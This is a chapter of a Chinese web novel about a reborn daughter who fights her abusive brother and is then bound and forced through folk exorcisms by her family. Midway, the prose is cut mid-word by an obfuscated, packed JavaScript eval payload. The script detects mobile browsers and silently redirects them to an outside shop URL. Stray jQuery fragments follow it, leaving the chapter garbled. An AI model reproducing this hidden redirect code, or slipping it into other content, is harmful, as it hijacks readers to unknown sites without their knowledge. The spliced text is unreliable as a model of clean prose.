66. 为你好
    从华咏章回来那天开始,她也遇到过许多次心慌时刻。但没有哪一次,让她这么无助。

    那天在出租屋,华元璋要她把手里的钱交出来,她自然没如他的愿,华元璋也果然如同所料开始翻屋子。

    趁他在房间乱翻的时候,华咏章捏了捏手指,开合几次拳头,在脑中模拟了几遍贺襄教她的招式,然后悄无声息的凑到他身后,左手先伸出去搭到他肩膀上。

    华元璋果然茫然转身:“你找死?”

    她使出全身力气,一个过肩摔把华元璋摔懵了。

    在她的预计中,这一下华元璋基本上就老实了,没想到方位判断错误,加上她太紧张了,一下子把人甩到了床上,虽然确实撞击到了,但是力度还是被床上的被子缓解了许多。

    华元璋懵了片刻,暴怒着爬起来,混乱中想起前几次吃的亏,他随手拖起华咏章出租屋里唯一一把木椅子。

    往日里他都没个轻重,今天这一出,她如果退缩了,只会死得更惨。

    华咏章也拿起立在墙边的晾衣竿:“这里不是秀水村,不是你撒野的地方。邻居里住的还有警察,我喊一声,就会把你拷走!”

    华元璋冷笑,他其实后槽牙都咬紧了,但双方此刻都比较紧张,都没发现对方在虚张声势。

    贺襄教她的时候,说只要第一招发挥的好,后面就没什么问题了。

    关键是她第一招就打偏了。

    华元璋则是另一种恐惧,这个他从小打到大的妹妹,突然展现出无数个让他陌生的眼神。

    她不再恐惧他,敢用那种看垃圾的眼神瞧她,以前她因为对他翻白眼,被他狠狠修理过,从那以后她连跟他对视都战战兢兢的。

    眼前这个敢跟他对视,敢对他冷笑,还能把他摔飞的女子,实在陌生的叫他恐惧,由不得他不产生一些不好的联想。

    双方对峙的时间很短,华咏章在犹豫是摇人来帮忙,还是趁这次把眼前的恶魔打服气。

    免得他一次又一次来挑衅她耐心,来破坏她的新生活。

    这个决定并不难做。

    华咏章决定今日就彻底挖除这颗“毒瘤”。

    她捏紧手中的竹指晾衣杆,这根竹竿只有一米多长。为了展开,她只能主动进攻,几步凑过去,然后以迅雷不及掩耳之势将竹竿插入椅子中空的构架中,又快又准的戳中华元璋的肚子,出其不意的一下疼的华元璋“嗷”了一声,自然想冲过来打她,但是椅子被竹竿别住了。

    此时要么他放弃椅子,要么他退后抽走椅子,但华元璋气疯了,他就顺着竹竿一路推着椅子往华咏章身上撞。

    华咏章一手扶着竹竿借力,一个转身飞踢。

    虽然发挥不如预期,她踢早了,等落到华元璋身上,只剩下不到三层力了。

    但这架势还是足足的,她哥愣神的功夫,华咏章抛下竹竿,端起边上的书就往他头上招呼。

    噼里啪啦的书扰乱了华元璋的视线,华元璋气急败坏,像只吗喽在乱蹦,最后他灵机一动,将椅子往后一甩,把竹竿握在了手里。

    他终于意识到近战讨不到好了,拿着竹竿像疯牛似得乱挥,区区一个单间,实在不好躲,华咏章躲闪不及,被他抽了好几下,头发都被汗湿透了。

    双方酣战数十分钟,华元璋发现自己又拿回优势了,得意的笑了起来:“你不是很能行吗?”

    华咏章瞄了瞄被子,在琢磨要不要快速抱起被子,盖住他,然后先逃出去。

    身手还要继续练,迟早她能打过他,把他打服!

    看她喘着粗气,汗水顺着脸淌,但一双眼睛还是转来转去的思考,华元璋有了防备。

    就在他举起竹竿要继续“瓮中捉鳖”时,华咏章突然说:“你不就是要钱吗?你收手,我把钱找出来给你。”

    华元璋闻言,立刻想起自己此行的目的:“那你快点找,不要耍花样。”

    华咏章磨磨蹭蹭的走到书包边,正要掏书,华元璋忽然毫无预兆的一竹竿抽到她背上:“别搞鬼,我打你轻而易举!”

    竹竿就悬在她身后。

    华咏章掏出书包中剩下的钱,大概有三块多,全是零钱,华元璋看了不太满意:“就这么点?把它们装好,放到桌子那边!”

    “你不敢接?”华咏章意识到这个问题,简直要笑出来。

    华元璋恼羞成怒,抬竹竿就要抽她,被华咏章有预料的躲闪开,又被抓住了竹竿,大概是没料到华咏章会夺竹竿,他一惊,竹竿就脱了手。

    华咏章也没客气,照着他就是一顿抽,华元璋忍了几棍,就惨叫起来:“别打了!停战!我不打了!”

    见妹妹完全没有停手的意思,他立马闭上眼扯着嗓子尖叫:“救命啊……”

    门外很快传来脚步声,门被人一脚踢开。

    接着华元璋就遭遇了人生再次的巨大滑铁卢。

    明明发出惨叫的是他!

    但是那些人进来以后,打的也是他!

    甚至因为华咏章秒落泪,手上脸上都有伤,惨兮兮程度比他重!更可气的是那根晾衣杆,居然在三秒钟内塞回他手里!

    华元璋大喊,但百口莫辩!

    被包括华咏章说的警察叔叔在内地几个男性邻居按住一顿打。

    下手还黑!

    要不是他慌乱中自己撞上了床把手撞骨折了,惨叫声升了调,这群“见义勇为”的人还不知道要把他打成啥样!

    最后警察邻居要带他去派出所做笔录,他哭着求妹妹原谅,保证下次不敢了,至于骨折的手,他说自己不追究,进局子之行才作罢。

    警察邻居走的时候,看向华咏章,意有所指:“下次再遇到这种事,早点呼救,要相信国家和政府,一定会保护你的。”

    最终她下午的考试都没考,在华元璋的哭嚎声中,把他载回家了。

    回到此刻,华咏章挣扎了一番,没能解开绳索。

    果然,华元璋静悄悄,必然在作妖!

    -

    华咏章很快就知道发生了什么事。

    她妈带她出去干活,稳住她。她爹请假找了一天,把附近有点名气的跳大神的都找来了。

    这要是搁几年前,搞那个运动的时候,谁敢承认自己搞牛鬼蛇神?

    现在解散了集体经济了,连跳大神的都自立门户,敢出来营业了。

    华元璋不厌其烦的对每一个来的人描述:“她肯定有问题,她以前胆子小,听话,人老实,现在完全变了一个人,她还忽然会了拳脚功夫,我身上都是她打得!”

    “她绝对鬼上身了!之前她就说有个老头上她身,真的!哎爸你打我嘴干啥?什么?你说是外公?外公太糊涂了,他不保佑我这个独苗,他为什么罩着她!她算个什么东西!”

    华咏章起先还能说话,只是她的解释没人听。她就干脆将计就计,但玩脱了,她没想到她假装外公上身,不仅没解救自己,她爹还怒骂外公偏心,把遗产都给二姨家了。

    郑雯眼神躲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211987|131610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    躲闪闪,还壮着胆子厉声来骂她:“你到底还有啥想不开?你死都死了!不要纠缠我们家平阳了!”

    下午他们又找了个装神弄鬼的来。

    她被泼了一身的鸡血,狗血,还被掰着嘴灌了香灰符水。

    华咏章从没这么绝望过。

    她想起外婆,要是外婆在……

    要是贺襄在……

    要是大姐在……

    她哭的没力气,华元璋长站在门口,得意洋洋的看着她:“我还治不了你?你永远都是我的奴隶!”

    华咏章甚至连个眼神都没回应他。

    前世她向他低头过很多次,只得到更多的压迫,今生也没必要低头了。

    到最后她冷静下来,提出要去上厕所,郑雯到底有些心软,过来把她双脚解开,像看犯人一样陪她去了。

    华咏章能站起来,就立刻弯腰呕吐,她妈还站在不远处说:“吐了就好,脏东西吐出来人就好了。”

    华咏章没说话,没解释,这一刻她只觉得心灰意冷。

    之后的几天,华家都如临大敌,大门紧闭,把她关在家里。

    华咏章解不开绳索,她认命的每天躺着,好像把几辈子没睡够的觉都补了回来。

    她老老实实不挣扎了,华家的几个就开始轮着番审问她:“钱从哪来的?身上还有多少钱?”

    一直到周二的时候,郑雯在儿子的暗示下查看了自己放钱的地方,发现她放的钱不翼而飞了几百块。

    这可是预备给儿子娶媳妇的钱!

    郑雯发起疯来,根本不听解释,押着她打,一遍一遍问她偷的钱都去哪里了……

    那钱,应该是华元璋拿的。

    前世就是这样,只是前世打她的是她爸。钱被华元璋拿去投到集资会了,到十二月就会有第一笔分红。

    女儿挨了打也不承认拿钱,还笑,虽然笑得渗人。

    郑雯看着她身上的新伤叠旧伤。

    “打够了吗?要不你打死我吧,我把命还给你们。”华咏章笑着说,眼泪却像开闸一样淌下来。她忍了又忍,没忍住,于是在心里发誓,这是最后一次为生为华家的女儿而流眼泪。

    郑雯愣了愣:“你做了错事,走了歪路,我教训你是为你好!小时偷针,大了偷金,我是为你好!”

    “是吗?包括冤枉我?包括从小就视我为无物?包括很多次我病重时希望我死掉?”华咏章轻声问她。

    郑雯悚然一惊!她从来没对外说过!小时候小五身体最差,她当时甚至没喂过她母乳,是郑老太太挨家挨户求一口,灌米汤,这个孩子居然还是活下来了。

    每一次孩子生病,她都焦心,而小五生病的时候,她则心情完全不同,尤其是这孩子的心也不向着她,高烧烧迷糊了,小手乱抓,嘴里只会喊外婆。

    她不知道,这是前世她临终前,忽然满心忏悔,抓着身边唯一照顾她终老的女儿倾吐心声。

    她从来没指望过这个女儿,她没想到最后陪在她身边会是她,照顾她衣食住行,忍受她病体沉疴时的脾气……

    她忽然后悔了,于是抓着小女儿的手,问她能不能原谅自己。

    华咏章当时说:“妈妈,我从来没怨恨过你。”

    假的,她在母亲的灵前哭的撕心裂肺,来吊唁者无不动容,赞她是孝子贤孙,但是她其实一直执着的哪一句,不是“您到底爱不爱我?”,而是“为什么?”

    为什么?

    明明我也是你的孩子。